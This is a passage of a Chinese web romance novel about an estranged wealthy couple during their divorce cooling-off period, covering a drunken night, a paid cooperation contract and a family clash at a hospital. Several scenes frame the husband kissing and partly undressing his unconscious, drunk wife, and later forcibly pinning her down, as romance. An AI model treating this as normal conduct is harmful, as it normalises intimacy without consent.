而现在这样醉酒后微眯着眼,嘴角微微上扬,最是勾人。
是那种媚而不自知的勾人。
陆砚**结滑动了一下,垂眸盯着她,嗓音暗哑,“嗯,行吗?”
江莹歪头想了想,好看的眉眼微微皱了皱,显然想得很认真,最后闭上眼,“行吧,只要不睁眼,就看不到前夫哥那张**脸。”
某人心口一凉,抬手把她的胳膊从自己脖子上扒拉下来,这个女人闹了这么久就为了破罐子破摔?
他刚准备起身,江莹有抬手勾住他的脖子,眉眼弯弯,“那我们去哪儿睡?”
陆砚深深吸一口气缓了缓,怕自己被她气得一口气上不来。
拉个男人就要跟人家睡,若不是自己,怕是早被人家吃干抹净。
他目光沉沉落在江莹脸上,声音低沉透着危险,“你想去哪儿?”
江莹没有睁眼,嘴角微微扬起,整个人明艳、妩媚。
“要不去我家吧。”
陆砚深眉头皱得又深了几分,“去你家?”
江莹点头,“嗯,去我家不用开房,省钱。”
说着声音又低了一些,“我要离婚了,还要让我妈跟张启明离婚,说不定都得打离婚官司。还有我妈和舅妈的医药费,我表弟的生活费,所以不能乱花。”
陆砚深额头上的青筋突突跳了几下,真醉还是假醉,她在乎的人都记得,唯独没有他。
他绷着脸,声音沉冷,“去你家不怕你老公知道?”
江莹摇头,“不是说了嘛,他已经**。”
陆砚深咬牙,“你要跟**离婚?国内有这个流程吗?”
江莹猛地睁开了眼,“你好烦啊!本来就不想睡你,上赶着来还这么多废话。不睡了,我要下车。”
她挥着手去揪安全带,手却在触碰到陆砚深胸肌时不争气的摸了起来,“弟弟,你好有料。”
陆砚深摁住她的手,面无表情道:“睡吗?”
江莹咬唇笑着又眯上了眼,好像很不想看到他那张脸,嘴巴却人诚实的说:“睡。”
某人看她这个表情,咬牙发动车子。
到了梧桐里,江莹拽着安全带皱眉,“不是说了去我家,怎么来
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这里了?”
陆砚深不解,拧眉看着她,“这里不是你家?”
坐着不动的女人摇了摇头,“这是我外公家,我自己的家在湖心公馆。”
陆砚深所有的气在听到她这句话后,瞬间就散了。
然后好脾气的又上车,重新启动车子。
江莹托着脸看着窗外**的霓虹,呢喃,“你到底是谁,为什么不要我们?”
陆砚深没听清她说了什么,看她安静不语,开口问道:“今天遇到什么不开心的事了?”
江莹眨了眨眼,“发现了一个秘密,觉得人心好坏。”
陆砚深轻嗤,不管谁都能跟人家睡的人,竟然还知道人心很坏。
他转眼看了身边的女人一眼,逗她,“你就不怕我也是坏人,要**你?”
江莹转头看向他,“你跟陆砚深那个狗东西长得有几分像,确实不像什么好人。但你别**我呀,我不值钱,他也不在乎我。你去**我老公那个私生子,那个孩子是他的心头肉,可值钱了。”
陆砚深觉得自己就是有病,她好不容易安静了,为什么要跟一个醉鬼说话。
江莹兴致勃勃道:“我知道那个孩子住在哪儿,我带你去,你找他要五亿赎金,我们俩平分。”
平分就能拿到二点五亿,这样一个月后即便陆砚深找她还钱,她也能还得起,不用再被他威胁。
陆砚深嘴角抽抽,脸直接黑了,“你老公不都**吗,还怎么付赎金?”
江莹叹气,“他若是知道心肝被人动了,**也能从棺材里跳出来。但,嗝……”
她说着打了个酒嗝儿,“他……他若是知道是我做的,怕是会一掌劈死,因为他从来都不在乎我。”
陆砚深皱起眉,心里闪过一丝异样,轻声开口,“那我们还是睡觉安全一些。”
江莹像是没有听到,扭头看着窗外不再说话。
陆砚深看着她纤薄的肩颈,想说什么,又觉得自己纯属有病,跟一个醉鬼东拉西扯。
二十分钟后,车子在湖心公馆停稳。
陆砚深开门下车,看着自己黑咕隆咚的家,竟然没有之前那种空落落的感觉,反而有种久未归家的期待。
第70章 睡完就想跑?
走到车子副驾驶的那一侧,看到江莹靠在门上睡着,小心翼翼开了车门。
怕她身体倒下来,陆砚深抬手托住她的脸,然后才开门将人抱了下来。
回到屋里,陆砚深用胳膊肘开了灯,垂眸看着怀里的人,却发现江莹眼睫上挂着水珠。
将人放在床上,他手指蜷缩了一下,抿着唇揩掉她眼睛上挂着的泪,薄唇紧抿。
扯过床上的被子盖在江莹身上,然后去放洗澡水。
等他放好洗澡水出来,看到睡熟的人,伸手撩起她身上的衣服。雪白的肌肤泛着淡淡的绯色,毫无征兆地映入眼帘。
陆砚深低头盯着她,女人粉润的唇泛着光泽,纤细的腰肢盈盈一握。
他所有的动作停顿下来,不觉间缓缓贴近,薄唇贴在她晶莹润泽的唇上。
身下的女人哼唧躲避,小脸歪向一边,嘟囔道:“妈,张启明不配当我爸,我要让你跟他离婚,你会同意的对吧?”
男人附身亲吻的动作停滞,接着皱起了眉,然后将被子给她盖好,转身去了阳台,点了一根烟。
这一晚,江莹睡得很不安稳,一晚上被噩梦纠缠。一会儿是梦到那场血淋淋的车祸,一会儿又梦到秦欣坐在湖心公馆的沙发上陪她儿子玩耍,一会儿又是张启明狰狞的面孔骂她没良心,将她的照片发到了网上,全网的人都骂她不知廉耻拍那样的照片。陆砚深面无表情地将她的东西扔出了湖心公馆,她伸手去拉他,脚下一空,整个人如坠深渊……
江莹心口一疼,猛地醒来,瞪大眼喘着气,原来是梦!
深吸一口气,去摸手机想看看时间,结果手机没有摸到,反而摸到了一块儿硬硬又软软的东西。
江莹像是没有酒醒一样,眨了眨眼,不自觉捏了一下,手感还不错。
正想着是什么东西时,头顶传来男人低沉暗哑的声音,“手感如何,好摸吗?”
江莹怔住,手上的动作一僵,漂亮的大眼睛忽闪忽闪,像是出现了幻听,怎么是狗男人的声音。
她缓缓转头,陆砚深那张脸映入眼帘。
男人侧躺在她旁边,眸色沉沉盯着她,眉头微微拧着,对扰他清梦的撩拨表示不满。
视线往下,她的手正堂而皇之覆在在陆砚深的胸口,五指微微陷入他胸膛,抓着他的胸肌。
江莹整个人都麻了,僵着一动不动,脑子更像是生锈了一样,眉头紧蹙地看着这眼前的大活人。
“你老公又诈尸了?”陆砚深睁眼睨了她一眼,然后又闭上,声音中透着慵懒。
“你怎么在我床上?”
她发誓不是自己要问这么脑残的问题,而是她脑子里一片空白,根本就不知道发生了什么事。
陆砚深掀了掀眼皮,“不是你要跟我睡,包我过夜?”
江莹:……
“还想摸多久?”
男人说话间,视线下移,看着依旧停留在他胸口的纤细手指,眸色意味深长。
江莹反应过来,倏地收回手,那些被她遗忘的记忆瞬间鱼贯而入。
“这个戒指够不够包你过夜?”
“你跟我那个死鬼老公长得有点像,要不然就凭你这姿色五千也可以。”
“行吧,只要不睁眼,就看不到前夫哥那张**脸。”
……
她盯着眼前那张熟悉的脸,眨了眨眼,这会儿还能装不认识吗?
这特么太丢人了,怎么就跟前夫哥睡到了一张床上?
江莹生无可恋地转身,悄默默想要下床,狗男人像是料到她会逃,长臂一伸懒腰将人圈了回来。
“睡完就想跑?”
江莹被他从背后抵着,瞬间红了脸,“你要不要脸?”
“我怎么不要脸了?”男人温热的气息附在她耳边,嗓音慵懒泛着沙意,“晨起的自然生理现象,你不让人有?”
“你放开我,昨晚我喝多了,根本就不知道是你。若知道是你,根本就不会跟你走。”
她说这话,陆砚深瞬间黑了脸,昨晚她确实是这么说的,跟他前夫有点像,
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三百都不愿意睡。
那嫌弃的眼神,此刻在陆砚深脑子里还一清二楚。
陆砚深皱眉,透着股危险的气息,“随随便便拉个男人就想跟人睡,真当我**?”
这话江莹就不爱听了,她直接怼了回去,“陆砚深,且不说我们都要离婚了,就算是我们没有离婚,你在外面可以跟别人睡,孩子都快三岁了,特么双标也太明显了。你自己乱搞,凭什么要求我为你守着?”
狗男人,私生子都那么大了,结结实实一定绿帽子她戴了三年,还有人比她头上更绿吗?
江莹挣开陆砚深的胳膊,转身跟他面对面,被他贴着,身体的感觉太过明显,让她很不舒服。
“陆总,我再提醒你一下,我们是已经登记离婚,冷静期一到就去领离婚证的关系,我现在就算跟别人睡了,跟你有什么关系?”
管得真宽!
狗东西怎么好意思指责她?只许州官放火不许百姓点灯。
她说着往床边去,想下床,被陆砚深一把按住,翻身压在身下,表情阴沉至极。
“江莹,别说我们还没有离婚,就算是我们离婚了,只要是我陆砚深用过的东西,别人也别想染指。”
陆砚深捏着她的下巴,因为用力江莹下巴生疼,“你特么有病吧,离婚了还想限制我的自由。我告诉你,离婚后我就找一个比你年轻,比你帅,比你有趣的弟弟,然后三年抱……”
她话没有说完,陆砚深低头发狠咬住她的唇。
“嘶……”
狗东西不是吻她,而是咬她,这人真的有病!
江莹挣扎,却被他狠狠压着,身体压在被子下,根本就没有发力的空间,只能忍受狗男人在她唇上肆意蹂躏。
几次尝试挣脱不了,江莹也没了力气,最后干脆放弃挣扎。
陆砚深的力道也逐渐减小,原本的啃咬最后变成了亲吻。
江莹有那么一瞬间的失神,胸口突然传来的凉意让她清醒,又羞又怒间提膝往上一顶。
第71章 这算不算亲密接触
还好陆砚深反应够快,要不然这一下他非废了不可。
“江莹……”
“陆砚深,离婚了就应该做个合格的前夫哥,别让我把难听的话再说一遍。”
江莹翻身下床,对上狗男人阴沉的眸子,睨了一眼准备走人。
“今天爷爷手术,等会儿跟我一起去医院。”
陆砚深起身下床,整理着自己身上的衣服补充道:“我们还没有离婚前,你依旧是我的太太,陆家的媳妇,别做出格的事,让两家颜面扫地。”
看着阔步离开卧室的男人,江莹自嘲地笑了。
他的失控和愤怒不过是因为她还是他的妻子,顶着他陆砚深太太的头衔。
即便她装作无所谓,但刚刚他的触碰,她还是很不争气的心跳失序。
她有些恨自己,恨自己潜意识里还对陆砚深抱有期待,恨自己忘了他所有的无情和羞辱。
拿自己小情人不要的东西给她当婚戒,他真做的出来。
良久,江莹收拾好下楼,王嫂看到她笑吟吟道:“太太,早餐已经准备好。”
江莹点头,“谢谢!”
陆砚深一身家居服坐在餐桌旁,抬眸看了她一眼,继续低头回邮件。
江莹在楼上想了很多,今天爷爷手术,这几天少不得要跟他在家里人面前装一下,万一让老爷子知道他们离婚的事,怕他受不了刺激。
而且手术后还要恢复,还有接下来要过年,他们要合体同框出现的场合比较多。
都要离婚了还要跟他装恩爱,但这一切都是为了他的面子和利益,对自己而言毫无益处。
没有感情的婚姻就是一场交易,更何况是即将要离婚的他们。
“陆总,为了我们能够和平度过这一个月的冷静期,我觉得我们应该签个协议,我不能白白陪着你演戏。”
陆砚深放下手机看着她,眸色深沉,“爷爷对你那么好,你去探望是演戏?江莹,你有没有心?”
江莹冷笑,“爷爷对我再好,也是你爷爷。再说了,我去你们家不是遭白眼就是挨数落,都要离婚了,我不能平白被骂吧?”
离婚、离婚,从她醒来,这两个字就不离嘴。
看她神色坚定,陆砚深捏了捏眉心,“江莹,你现在是彻底放飞自我了,别忘了我们只是登记离婚,我随时可以撤回。”
江莹皱皱眉,但想到狗东西若是真的撤回,那岂不是更麻烦。
暗暗咬唇后,弯起了眉眼,“陆总,我也是为你着想,毕竟我不急着再嫁,但你儿子都那么大了,你就那么肯定他能一直藏着不被扒出来?再说了,这些年我在你们家什么地位你也是知道的,我都主动给你心爱的女人和孩子腾位置,不能还这么压榨欺负我吧。”
说着说着,弯起的眉眼耷拉下来,整个人可怜兮兮。
女人期期艾艾、委屈巴巴的样子让陆砚深浓眉一挑,来了兴致,这些天他算是看明白了,眼前这个小女人有时候戏还挺好,不去当演员都可惜了。
他慵懒地往后靠在座椅上,扬了扬下巴,“说说你的什么协议?”
随着他说话时凤眸微微上挑,竟然带了一丝说不出的痞气。
江莹抿唇,嘴角梨涡浅浅,“我已经写好,麻烦陆总看看,看完签个字,希望我们在离婚前这段特殊时期合作愉快。”
陆砚深垂眸看着她手里的薄薄的一张纸,嗓音低沉似乎含着若有似无的笑意,“还挺自信,这么肯定我会签?”
陆砚深微微抬手接过她手里的那张纸,视线却一直盯着眼前眉目如画的女人。
她已经换了衣服,一条V领的针织裙,露出胸前莹白的肌肤。
陆砚深望着那若隐若现的饱满,喉结滚动。
江莹脸上笑意盈盈,陆砚深似乎许久没有见她这么笑过,轻松中带着一丝狡黠。
“陆总,先看看,所有条款都是从您的利益出发。”
陆砚深挑眉,眸光微转视线落到那张纸上。
《离婚冷静期合作协议》
一、双方合作期间互不干涉,互不强迫,仅限暂时不能公开的场合,若有强迫行为,一次十万。
二、若一方有扮演夫妻和睦的需求,需支付配合方一次十万。
三、双方不得有亲密的肢体接触,违者一次一百万。
四、双方不得以任何手段为难对方的亲人和朋友,违者一次一百万。
陆砚深看完直勾勾地盯着她,合作协议,没看到合作诚意,倒看到赤裸裸的针对。
刚说今天爷爷要做手术,她的合作协议就出台了,薅羊毛逮着他一个人薅,她倒是薅得顺理成章,还好意思说是从他的利益出发。
难怪好久没给他好脸色的人,一会儿装可怜,一会儿笑得那么不值钱,原来在这儿等着他呢。
陆砚深抬眸,看江莹眨着眼等他的下
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文,忽地笑了,“你穷疯了?”
江莹笑呵呵地柔声道:“陆总,你身份高贵,价格太低配不上你?”
“我需要你漫天要价彰显身份。”陆砚深不屑地瞥了她一眼。
“价格没得商量。”江莹嘟着嘴瞪了他一眼,“当然你要是不签,想要胁迫我,我就曝光你儿子。你那些商业对头,怕是正愁找不到你的软肋。”
陆砚深盯着她几秒钟,然后悠意味深长地勾了勾嘴角。
提笔在那张纸上写字,不是签名,而是增加了一条。
五、考虑年底男方工作压力大,睡眠不好,这段期间不能分居,每晚给女方十万作为补偿。
“不能分居?”江莹看着他潇洒的字体,咬牙,“要离婚了,不能分居,合适吗?”
“人家离婚还有不离家的,更何况家里这么多房间。”陆砚深睨着她,“一晚上十万,一个月三百万,你要不要?”
江莹蹙眉,一个月三百万,这意思是这两天的也给补上?
这价格确实诱人,不心动是傻子,工作室刚正式成立,需要钱的地方很多。
在江莹的计划里,她要做的不光是有自己的品牌,卖自己的产品,她要把非遗工匠这一块儿做起来,手艺人要发光发亮,技艺要得到传承。
陆砚深瞄了她一眼,嘴角笑意渐浓,抬手给她准备给她转账。
“这是你今天的出场费,签吗?”
江莹看到他手机里即将转出的钱,很没出息地点头,“签,当然签。”
心想反正我又不需要狗东西演夫妻恩爱,更不会跟一个脏男人有亲密接触。
看着江莹签好名字,陆砚深视线沉沉落在她胸口,“合作协议确定是今天开始执行?”
“当然。”
江莹扔下笔,开始吃饭。
陆砚深勾唇,“那一早上刚刚对我又摸又啃,怎么算?”
狗男人说得坦然,声音也不小。
江莹听得脸热,慌忙抬手去堵他的嘴,转头看了看在拆快递的王嫂,低声道:“胡说八道什么呢?”
“没有吗?”
“那也是协议签订前的事。”
想让她出一百万,做梦!
王嫂从厨房俏咪咪斜着眼看了过来,小两口这是和好了,一大早就这么黏糊。果然小别胜新婚,之前先生可从来没有大白天拉着太太这么亲密过。
“那现在呢,算不算亲密接触?”
第72章 人跟狗,不交流
陆砚深声落,半张的双唇微微含着江莹的手指,气息温热。
江莹瞬间反应过来,狗东西又给她挖坑。
她迅速抽手,咬牙道:“陆砚深,狗见了你都自愧不如。”
“我这个前夫还是很大方的,看在你初犯一百万就不要了,用今天的出场费抵了。”
陆砚深说完把手里的牛奶喝完,起身上楼。
完全没有看到江莹**的目光。
再下来,西装革履,俊朗挺拔。
江莹啃着一截玉米,抬眼看过去,视线停留。
狗东西跟刚刚慵懒闲适的状态不同,此刻整个人透着矜贵。
陆砚深睨着她慢悠悠啃玉米的神色,嗓音淡淡,“手术时间是九点,你打算吃到几点?”
江莹收回视线,撇了撇嘴,狗男人不该长嘴,不说话还有几分姿色,一开口瞬间不值一看。
老爷子的主刀医生是国内顶尖的心脏专家,整个手术团队都是各科专家陪同。而且最近老爷子一直在医院调理,身体各项指标都没有问题,手术的风险专家一致认为可控,这才决定做。
但毕竟人上了岁数,谁也不敢保证就是百分百安全。
江莹听他这么说,放下手里的玉米,“我吃好了,现在就可以走。”
陆砚深拧眉,明明面前的东西都没怎么动,就说自己吃好了。
“王嫂,包一下,让她带着吃。”
王嫂笑吟吟从厨房出来,一大早小两口就靠在一起说个没完,先生虽然没有表现出很高兴的样子,但她能看得出来,先生心情很不错。
“好的先生,太太看着都瘦了,一定要注意身体。”
王嫂的话让陆砚深蹙眉,盯着江莹打量了两眼,似乎确实瘦了,本来就细的腰,现在似乎更窄。
江莹看他盯着自己看,伸着两根手指上前,凶狠道:“看什么看,再看把你眼睛给你戳了。”
说完间,她用力弯动自己的手指,凑到陆砚深眼前。
男人看着她装凶的样子,勾唇透着逗弄的意思,“王嫂说你瘦了,为什么腰小了,这里却没有小?”
江莹看他视线落在自己胸口,瞬间明白,“陆砚深,你要不要脸?”
“我怎么了?”
“你……”
“太太,你爱吃的玉米,还有牛奶带着吃。”王嫂说着将包好的东西递给江莹,又顺嘴道:“太太,前天到了一个快递,先生说让我拆了,你看要放在哪儿?”
江莹疑惑,看向客厅大大的快递箱,“什么东西?”
王嫂走到快递箱旁边将里面的人型布偶拿了出来,笑道:“是这个,还挺大。”
江莹看到东西,猛然想到自己下单是给陆砚深买的陪睡娃娃。
几天没有回来,竟然把这事忘了,她看着自己买的东西,笑道:“陆总,你不是睡眠不好,我给你买了个床伴,送你的,不收费。”
陆砚深看着跟江莹身高差不多的娃娃,皱眉,“给我的床伴,用你自己的脸,你倒是贴心。”
江莹蹙眉笑,“怕离婚后你不适应,给你过渡一下。”
实际她就是故意恶心他,让他每天晚上面对自己营业式的假笑,气他,气死他。
陆砚深冷笑,“我是不是得感谢你,这么体贴!”
江莹皮笑肉不笑,“不用,在你身上薅了不少羊毛,总得回馈一些,做人要懂得感恩。”
陆砚深拧眉睨了一眼,一副懒得跟她扯的样子。
王嫂疑惑地看着两个人,明明两人昨晚还睡在一起,刚刚还很亲密,为啥还要离婚?
“太太,那我送到卧室?”
看王嫂难做,江莹点头,然后接了东西直接走人。
陆砚深看着纤细单薄的背影,挑眉跟在她身后。
车子看出别墅,江莹拿出玉米开始啃。
司机皱眉,老板最讨厌别人在车里吃东西,太太这不是挑衅吗?
正想着今天怎么才能把自己的存在感降为零,不受牵连,只听后排的男人沉沉开口。
“好吃吗?”
江莹嗓音淡淡,“要你管?”
“我是不用管,尝尝就行了。”
他说着倾身过去,凑上前直接咬了一口。
江莹愣了一瞬,显然是没有想想到他会吃,这家伙从来不吃玉米,每次江莹说让他尝尝,他说看着都不好吃。
陆砚深咀嚼两下,点头道:“还不错,软软糯糯,还有淡淡的甜味儿。”
震惊的不止江莹,还有司机,大佬这是转性了?
以前高高在上,说一不二,毫无温度的人,这会儿怎么感觉跟之前不太一样了?
江莹咬牙,“你有病吧。”
陆砚深拧眉睨着她,“我有没有病你不知道?”
江莹一噎,他的体检报告都是她去取的,确实有没有病她最清楚。
她深吸一口气,为了钱忍了,于是往旁边挪了挪,不看他。
想到
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亲子鉴定的结果,江莹边啃玉米,边给宋瑾修发消息:师哥,能不能麻烦你帮忙介绍个律师,打离婚官司。
宋瑾修秒回:陆砚深不肯协议离婚?
江莹:不是,我想让我妈离婚,张启明一定不会同意。
宋瑾修:没问题,我们公司的法务能力很出众,可以介绍你们认识。
江莹:好,麻烦师哥安排。
陆砚深看她低头发消息,开口:“你想让你妈跟你爸离婚?”
“你怎么知道?”
江莹说着瞄了一眼自己手机,这人不会是在自己手机上安装了什么软件吧,她刚跟师哥聊完,他就知道了。
“昨晚你自己说的。”陆砚深倚在车门上看着她。
江莹想不起来昨晚什么时候说的,盯着他警告道:“不关你的事,你就当不知道,更别让张启明知道。”
陆砚深神色淡淡,“要不要给你介绍律师,**是你老公的产业,现在在你爸手里,你想不想拿回来?”
江莹愣了一瞬,这人什么时候这么好心了?
实际上经过这段时间杜宇的调查,陆砚深对张启明掌控**,有所了解。
包括这几年江莹并没有从**拿到一分分红的事。
“哪儿那么容易,我从没有过问过**的事,江墨还有半年才毕业。”
江莹说着神色有些低落,她当然想,但也知道现在没那么容易。毕竟张启明在公司二十多年,核心部门怕早就换成了他的人。
“既然你有这想法,就先别声张,把证据拿到了再说,婚内出轨,让他净身出户也不是不可能,更何况公司有你妈、你和江墨的股份。”
江莹听着一个有私生子的出轨人,竟然教自己怎么让张启明净身出户,有些想笑。
“你就不怕我把这些招数用到你身上?”
男人抿唇,“你可以试试?”
“那我还挺厉害的,让自己老爹和老公都净身出户,同时掌握陆氏和**,明年的富豪榜上有我一席之地。”
“这梦先留着,晚上再做,要不要给你买杯咖啡醒醒脑子?”
江莹:……
果然狗男人不配长嘴。
刚刚那点好心情,瞬间没了,瞪了他一眼,冷声回怼:“人跟狗,不交流。”
陆砚深嘴角颤颤,好心情难掩,声音染上一抹笑意,“你早上抱的谁?”
狗东西现在脸皮越来越厚,江莹选择闭嘴。
’
第73章 不用等冷静期,直接去把证领了
两人到医院后,陆砚深并没有第一时间去病房,而是在楼下抽烟。
江莹看看时间,心想这人果然没有心,难怪自己捂了三年都没有焐热。
马上九点,他爷爷要进手术室了,他还有心情站在这里抽烟。
他作为亲孙子都不着急上去,若是自己上去,倒显得她上赶着,索性坐在车里看手机。
在陆砚深抽完一支烟,打了个电话后叫了江莹上楼。
他们到时,陆家的人全员到齐。
“砚深,你怎么才来?”
陆静淑看他牵着江莹过来,眼里闪过一抹惊讶,之前她这个侄子可没这么粘女人。
太太生日那晚,她以为是宾客多,他做做样子,没想到现在竟然主动牵着江莹,甚至步子都放缓了,两人款款而来,出奇的般配。
要知道,以前都是江莹挽着他的胳膊,迁就他的步伐。
“你爷爷九点进手术室,你踩着点来,像话吗?”三叔陆书泉开口责备。
陆砚深睨了他一眼,嗓音淡淡,“三叔怕是白等了,医生马上过来,你想听到的不会有。”
陆书泉瞪了他一眼,“你什么意思?”
陆伯川劝和,“老三,别闹了,爸在里面等着呢。”
陆砚深睨了一眼自己三叔,抬步进了病房。
老爷子状态还不错,看到陆砚深进来,清了清嗓子开口,“砚深来了,人就齐了,我……”
“时间到了,要说什么等做完手术有的是时间。”
陆砚深直接打断了老爷子的话,紧接着医生进来。
“老爷子,手术时间到了,我们可以进去了。”院长跟着团队的医生进来,温声提醒。
老爷子颤巍巍摇摇手,“院长,稍等一下,我还有话没说完。”
“老头子,手术时间……”
老太太开口时因为担忧声音发颤,陆君扶着老太太,替她开口,“爷爷,进手术时间是我奶奶算好的,不能改。”
陆书泉反驳,“封建迷信,我还第一次听说进手术室还要算时辰的。”
陆砚深将陆书泉扯到一边,“医生,推过去吧。”
说完抓住老爷子的手拍了拍,“放心,不会有事。”
陆书泉恶狠狠瞪着陆砚深,跟陆伯川嘀咕道:“他就是故意的。”
陆伯川皱眉,“老三,咱爸是什么人,你应该清楚,他最看重的就是家族团结。所以,即便是宣布遗嘱,你也不用抱太大希望,多半还是砚深占大头。”
陆书泉脸色更难看。
老爷子这会儿看着陆砚深眉头紧紧皱在一起,小声嘟囔,“你小子就是故意的。”
陆砚深笑得轻松,凑到老爷子耳边,低声道:“放心,只要我在,陆家不会散。”
老爷子听后,眼眶红了,泪水在眼里打转,“臭小子,记住你刚刚说的话。”
陆砚深郑重地点头。
老爷子自然是相信他的,要不然老三在网上散布谣言,也不会那么轻松就被陆砚深放过。
“爷爷,一定会没事的,我们等着您。”
江莹握住老爷子的手,眼里泪水打转。
“莹莹,砚深性子冷,这几年多亏有你在他身边,你们俩好好的,爷爷手术好了,还能给你带孩子。”
“好,到时候您可不能嫌烦。”
江莹想到了自己外公,他也说自己要多活几年,将来给她带孩子,但外公走得突然,江莹甚至都没有来得及见他最后一面。
老爷子握着她的手,然后交到陆砚深手里。
“爷爷不会嫌烦的。”
老爷子被推到手术室,所有人都等在手术室外。
江莹这会儿有点明白陆砚深为什么到了医院却不上来,而是站在楼下抽烟。
“你是不是猜到了爷爷会宣布遗嘱?”
江莹从他们的对话,还有陆书泉的反应中不难猜出。
“一定会没事,没必要让奶奶听了难过,让二叔和三叔心生恨意。”
陆砚深暗暗叹了口气,他不想让家族内斗的事发生在陆家。
江莹看着他,心想他也不容易。
她还没回神,陆书泉直接冲了过来。
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“砚深,刚才当着老爷子的面我没说,现在你是不是该给大家一个交代?”
陆砚深神色不屑,“三叔,我有什么需要给你交代的?”
陆书泉眼睛扫了一下江莹,满眼嫌弃,“你把新能源项目利润的百分之十给了自己老丈人,这件事不应该给大家一个说法?”
他这话一出口,所有人都愣了。
片刻,陆君转身,抬手。
“啪”一个耳光,又快又狠地落在江莹脸上。
“江莹,看来你把我说过的话全当耳旁风了,结婚三年你给陆家带来了什么,还总想着往娘家扒拉。”
陆君咬牙切齿瞪着一脸呆愣的江莹。
江莹这会儿耳朵里嗡鸣,脑子也一片空白,整个人都没有反应过来。
陆砚深慌忙把江莹护到身后,看到她脸上的巴掌印,不觉抬手揉了几下。
陆静淑也开口责备,“砚深,你越来越糊涂了,为了一个女人,把陆家的利益抛到脑后。”
乔云舒上来劝,“妈、表姐,公司的事,表哥自然有自己的打算。”
许振清眼底透着厌恶,声音却依旧温柔,“陆君,你怎么能动手,项目是砚深做的,钱是他挣的,他有权利分配利益。”
陆砚深看着江莹泪汪汪的样子,心里一阵酸涩,转头看着陆君,“大姐,这件事跟江莹没有关系,她根本就不知情。还有,公司的事,与你无关,你管得太多了。”
“好啊,你们一个个都向着她。”陆君盯着陆砚深,声音满是失望,“砚深,你现在翅膀硬了,有了老婆就把你姐扔到脑后了。”
陆书泉拱火,“他是翅膀硬了,所有人都不放在眼里。”
老太太心里本来就乱,看到眼前这一幕都是因为江莹引起,瞪了她一眼,“好啦,别闹了。”
江莹这会儿缓过劲儿,挨打的是自己,凭什么不闹?
她一把推开陆砚深,眸色森冷的看着他,“陆总,要不你找找关系,我们不用等冷静期到,直接去把证领了吧。”
陆砚深:……
第74章 这孩子是我哥的?
“云舒,你扶老太太去休息室,手术时间长,她身体受不了。”
老太太没心思管小辈儿之间的事,任由乔云舒扶她去了休息室,眼不见心不烦。
“江莹,你什么意思?”一直没有说话的陆伯川开口问。
“意思就是我跟陆砚深要离婚了,本来怕爷爷受不了刺激,但我现在觉得没有必要瞒了,毕竟你们所有人都巴不得我赶紧让位。”
她说着上前一步,在陆君面前站定,“你听清楚了,我不要你弟了,还给你。”
说完抬手一巴掌甩了过去。
所有人还没有从她的话里回过味儿,就听到一个清脆的巴掌声。
都没有想到,向来温柔乖顺的江莹,竟然直接给了陆君一个耳光。
“当然,我也不是那么好欺负的,任你捏扁再搓圆,有仇当场就报。”
江莹的话像一记重锤,砸在陆砚深心里,冷漠、决绝!
陆君什么时候被人打过,还是被打耳光,她这会儿已经顾不得豪门贵妇的端庄优雅,上来就要跟江莹撕扯。
“江莹,你敢打我?”
江莹直接扼住她的手腕,冷笑:“我打的就是你,一个大姑姐,真当自己是陆家女主人了,整天住在娘家耀武扬威,你有孝顺过公婆吗?就不怕你做得太绝,哪天你公婆也怂恿儿子不要你?”
说着一把甩开陆君的手,用力将人往外推。
陆君被她推了个踉跄,身体不受控制地往后退了两步。
“许振清,你是男人吗?她打你老婆,你一点反应都没有?”
许振清这才上前扶住陆君,“老婆,别闹了,爷爷还在里面手术,再说了这么多人看着,别让砚深太难做。”
陆君气得嘴唇直哆嗦,看陆砚深也不动,心里更是拔凉。
陆家二房和三房这会儿站在一旁看乐子,孙兰芳和**婉坐在一旁翘着二郎腿,相视一眼。
江莹这话倒是说到她们心里了,一个大姑姐,从来不回婆家,天天在娘家横行霸道,该扇!
但江莹打了陆君,陆静淑不乐意,“江莹,你越来越没规矩了,陆君是砚深的亲姐,你怎么敢……”
“姑姑,我有什么不敢的,她打我的时候有没有想过我跟陆砚深是夫妻?她有把我当成是陆家人吗?”
江莹这会儿火力全开,都要离婚了,没什么好顾忌的。
陆砚深看着豁出去的江莹,心里堵得很,上前拉住她的手,声音低沉清冷,“江莹是我妻子,不是家里的佣人,若是觉得她做得不好,以后就让她少回老宅。”
江莹看着挡在她身前的陆砚深,第一次体会到有人撑腰的感觉。
她盯着陆砚深的侧脸,心里酸涩不已,没想到有一天会被他保护。
陆砚深转身把江莹揽在怀里,咬呀吸了一口气,“江莹,你是不是忘了早上签的协议?”
江莹小脸一僵,妈呀,为了心里爽,把这事抛到了脑后。果然,狗东西心里不是有她,而是时刻记得要演夫妻和睦。
“合作协议第二条,你没有做到。”
江莹明白他的话外音,这是提醒她要付十万给他。
但,自己也不能平白无故挨打。
她抬手在他腰间就拧,咬牙低声道:“合作里也没写,你姐扇我耳光我就得忍着。”
陆砚深抓住她的手,嗓音低沉,“没让你忍,但你把离婚的事说出来,万一传到爷爷耳朵里?”
江莹抬眸看着他,没让她忍?是可以打陆君的意思吗?
“砚深,你为了江莹,要跟我划清界限吗?”
陆君看着自己带大的弟弟,这会儿跟江莹靠在一起显然是在哄她,面子上挂不住。
她之所以能在陆家说一不二,靠的就是陆砚深是陆家真正的掌权人。现在陆砚深为了江莹公开跟她对立,这让她以后怎么在陆家混?
江莹听陆君叫嚣,靠着陆砚深转脸笑道:“大姐,我好歹是陆砚深明媒正娶的,他跟我躺在一张结婚证上,你就这么想让我们俩过不下去?一会儿打我,一会儿说什么划清界限。”
孙兰芳
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抿唇,“二嫂,我刚说什么来着,江莹怎么可能会跟砚深离婚?就算她要离,她们家也不可能同意。”
**婉点头,“我刚才差点就以为是真的,现在看来江莹不过是嘴嗨一下。”
“江莹……”
江莹勾唇,“既然你这么想划清界限,不如跟姐夫去临城吧,你们夫妻这么多年分居两地,多不好。诺诺得不到父爱,你内分泌失调,姐夫身边也没个女人,一家三口为了迁就你那点心思都过不好,你太自私了。”
她这话落入许振清耳中,让他瞬间警惕,陆君不能跟去他临城,要不然……
“我是陆家人,你休想赶我走。”
陆君说着看了眼自己丈夫,心里对他还是有亏欠的。
“那你就守着吧,别到最后哭都找不到北。”
江莹现在很不地道地想要看看陆君知道自己老公在外面有家,会是什么表情。
“还有,我以后不会再让着你,陆砚深欠你,我又不欠你,没义务任你摆布。你要是真看不下去,就让你弟弟跟我离婚。”
陆砚深适时开口,“姐,别闹了,公司项目的事莹莹不知情,我自有我的道理,你别管了。”
陆君刚要开口,被许振清拉住,在她耳边低声劝道:“好啦,别闹了,爷爷还在手术室,你看二婶和三婶的表情,你跟砚深闹僵她们最高兴。”
